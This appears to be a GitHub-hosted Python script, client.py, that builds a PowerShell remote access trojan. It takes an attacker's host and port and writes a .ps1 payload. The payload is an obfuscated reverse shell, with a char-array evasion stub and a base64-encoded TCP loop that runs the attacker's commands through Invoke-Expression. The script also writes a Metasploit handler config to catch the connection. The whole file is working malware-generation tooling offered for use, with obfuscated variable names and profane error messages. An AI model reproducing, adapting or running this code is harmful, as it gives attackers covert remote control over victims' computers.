-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
83 lines (83 loc) · 8.6 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
from colorama import Fore ,Back ,Style
from base64 import b64encode
from time import sleep
from logo import logo
def main ():
os .system ("clear")
logo ()
O0OO0O00O0O0O0000 =input (Style .BRIGHT +Fore .GREEN +"["+Style .NORMAL +Fore .YELLOW +"?"+Style .BRIGHT +Fore .GREEN +"]"+" lhost: "+Fore .WHITE )
os .system ("clear")
logo ()
OOO0O0OO00O0OO00O =input (Style .BRIGHT +Fore .GREEN +"["+Style .NORMAL +Fore .YELLOW +"?"+Style .BRIGHT +Fore .GREEN +"]"+" lport: "+Fore .WHITE )
os .system ("clear")
logo ()
OOO00O0OO00O0OO0O =input (Style .BRIGHT +Fore .GREEN +"["+Style .NORMAL +Fore .YELLOW +"?"+Style .BRIGHT +Fore .GREEN +"]"+" RAT Name: "+Fore .WHITE )
if O0OO0O00O0O0O0000 !=""and int (OOO0O0OO00O0OO00O )!="":
try :
O000OOO0O00OOO000 =".( $pshome[21]+$PshomE[30]+'x') ([cHAR[]]( 36, 115, 54 , 90,51 ,78,32 , 61, 32, 32 ,91,67 , 72 , 65, 82 ,91,93 ,93, 34 ,41, 39,39,78 , 73 , 111,106, 45 , 39,120 , 39, 43 ,93, 51 ,44,49 ,91,41 , 101,99, 78 , 101 , 82 ,101 , 70 ,69, 82 , 80,69,83 ,111,98 , 82, 101,86 , 36, 93,103, 110 , 105 , 82 , 84,83,91,40 ,32,40 , 46 , 124,32 ,41, 52,51 , 93 ,82 ,65,104,99 ,91 , 44 , 41, 55 , 56 ,93 , 82 , 65, 104, 99 , 91 , 43 ,55 ,57 , 93 ,82, 65 ,104,99, 91 , 43, 50 ,55 , 93 , 82 , 65,104 ,99, 91 , 40, 32,32 , 101, 67,65,76, 80,101,82, 99 , 45 , 32 , 32, 57 , 51 ,93,82, 65,104 , 99 ,91,44 , 41, 51 , 53, 93,82, 65 ,104 ,99 , 91, 43,57,49 ,49, 93 ,82, 65 ,104,99 , 91, 43, 52 ,55 ,93,82,65, 104 , 99,91 ,40 , 32 , 101 , 67 ,65,76 , 80 ,101, 82 , 99, 45,32 , 41,39,41 , 53,119,74, 114 ,39 ,43, 39 ,101 ,39,43,39 , 115, 85 ,39, 43, 39, 53 ,39 , 43,39,119, 39 , 43, 39,74, 44,53, 119, 74,110, 101 , 114, 114, 117,67 , 53,39,43,39,119 ,74 ,44,53, 119,74,116 ,53, 119 ,74 , 32 , 39, 43 ,39 ,102, 39,43 , 39, 45, 32 ,87,97,72,39,43,39 ,125 ,50 ,123 ,125, 48, 123 , 125,49,123, 87,39,43 ,39,97 ,39 , 43 ,39,72 ,40,32 ,39 , 43 ,39,101,39 , 43 ,39 , 112, 111 ,99, 83,45,39 , 43 ,39 ,32,39, 43, 39, 41,53 ,119 ,74, 121, 66, 53 , 119 ,39, 43 , 39 ,74 ,44,53,119, 74,115 ,115 , 39,43 , 39 , 97 , 112,53 ,119 , 74 , 39 ,43,39 , 102, 45,32 ,87 , 97,72,125 , 48, 123,125,49 , 123 ,87 , 97, 39,43,39, 72, 40, 32 , 121 ,39 ,43, 39 , 99, 39 ,43, 39,105 , 108 , 111, 80 , 110 ,111 , 105, 116 , 39 , 43 ,39,117, 99 ,39, 43, 39,101,39 , 43,39 ,120, 69 ,45, 32,41 , 53 ,119,74 ,116,53 , 39,43,39,119 ,74, 44 ,53 , 119 ,39,43,39, 74 , 39 ,43 ,39, 105 ,108, 111, 80,39 ,43,39,110 ,111 ,39, 43,39 ,105 , 116 ,53, 119 , 39 ,43,39 , 74,39 ,43,39 ,44, 53,119 , 74 , 101,83, 53, 119,74 ,44,53 ,39 ,43 ,39 ,119,74, 45 , 53, 119 ,74,39 ,43 ,39 ,44 , 53 ,119,74,121,99,53, 119 , 74 , 44 ,39,43,39 ,53, 119 , 74, 39 , 43, 39, 117,99 , 101, 120 , 39 , 43,39 ,69 , 53 , 119 ,74 , 32,102 , 45,39, 43 , 39,32 ,39 , 43 ,39 , 87, 39 , 43,39,97 , 39 ,43 , 39,72 ,125 ,49, 123 , 125, 52, 123 ,125 ,48 ,123, 125,50, 123 , 125,53 , 123,125, 51 , 123 ,87 ,97, 72, 39,43, 39,40 , 32 , 100 ,39 ,43 , 39 , 110, 97, 39, 43, 39, 109, 109, 111 ,99 , 45 ,32, 41 ,53 ,119 , 74, 101 ,119 , 111,53 ,119, 74,44,53 ,119, 39,43,39,74,108, 108 ,101 ,104 ,115,114, 53, 119 ,74 ,44 ,39,43 , 39 , 53 , 39,43,39 , 119, 74 , 39,43 ,39, 112,53 , 119, 74 , 32 , 102, 45,39 , 43 ,39, 87 , 39, 43,39, 97, 72 ,39 , 43 , 39 ,125 , 49,123,125,39, 43,39, 50,39, 43 ,39, 123, 125, 48 ,123,87 , 97, 72 , 40,46 ,39,40, 40 ,32 , 34,32 , 59 ,91 , 97 ,82 , 114 ,65,89 ,93 , 58, 58, 82,69,86 , 101, 114 ,83, 69, 40 ,36 , 115 , 54,122, 51 ,110 , 32,41,59 , 32, 91 ,83 ,84, 114,73,110 ,103 ,93, 58 , 58 ,74 , 79, 105 ,78 ,40 , 32, 39 ,39, 44 ,36 ,115,54, 122 ,51, 110, 41, 32 , 124 ,32 ,38 ,32,40 ,32,36, 80 ,83 , 104 , 111, 77, 101,91, 52 ,93 , 43 , 36 , 80, 115 ,72 ,79 , 77 , 69 ,91 ,51, 52 ,93,43,39 ,120 ,39, 41)-joIn '')"
OO0O00OOOO0OO00OO =O000OOO0O00OOO000 +" ; "+"powershell -e "+b64encode (('Set hw1 ([type]("{0}{1}{3}{2}" -f'+"'te','X','g','T.encodIn')) ; $LHOST = "+f'"{O0OO0O00O0O0O0000}";'+"$LPORT = "+OOO0O0OO00O0OO00O +'; $TCPClient = .("{0}{1}{2}" -f'+"'N','ew-Objec','t') Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = &("+'"{0}{1}{2}" -f '+"'New-O','bje','ct') IO.StreamReader($NetworkStream); $StreamWriter = .("+'"{2}{3}{1}{0}"-f '+"'t','c','New-Ob','je') IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = .("+'"{2}{1}{0}"-f '+"'Object','ew-','N') System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ( $HW1::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { &("+'"{5}{2}{0}{3}{1}{4}" -f '+"'pr','o','Ex','essi','n','Invoke-') ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("+'"$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()').encode ('UTF-16LE')).decode ('ASCII')
with open (f"./RAT/{OOO00O0OO00O0OO0O}.ps1","w+")as OOO00OO0000000O0O :
OOO00OO0000000O0O .write (OO0O00OOOO0OO00OO )
OOO00OO0000000O0O .close ()
os .system (f"chmod 777 ./RAT/{OOO00O0OO00O0OO0O}.ps1")
with open (f"./DAT/{OOO00O0OO00O0OO0O}.dat","w+")as OO0O00OO0000OOO00 :
OO0O00OO0000OOO00 .write (f"use exploit/multi/handler\nset payload payload/cmd/unix/reverse_netcat\nset LHOST 0.0.0.0\nset LPORT {int(OOO0O0OO00O0OO00O)}\nclear\nexploit")
OO0O00OO0000OOO00 .close ()
os .system ("clear")
logo ()
print (Style .BRIGHT +Fore .GREEN +"["+Fore .WHITE +"+"+Fore .GREEN +"]"+" RAT saved on: "+Style .NORMAL +Fore .YELLOW +f"./RAT/{OOO00O0OO00O0OO0O}.ps1"+Style .RESET_ALL )
except :
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 6")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 5")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 4")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 3")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 2")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"Fuck... I don't know wtf just happened!"+Style .RESET_ALL +" Go to Dashboard in... 1")
sleep (1 )
main ()
else :
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 6")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 5")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 4")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 3")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 2")
sleep (1 )
os .system ("clear")
logo ()
print (Style .BRIGHT +Back .RED +Fore .WHITE +"You dickhead, You need to fill in the fuckin' inputs!!! I'm a script, not a soothsayer!"+Style .RESET_ALL +" Go to Dashboard in... 1")
sleep (1 )
main ()
if __name__ =="__main__":
main ()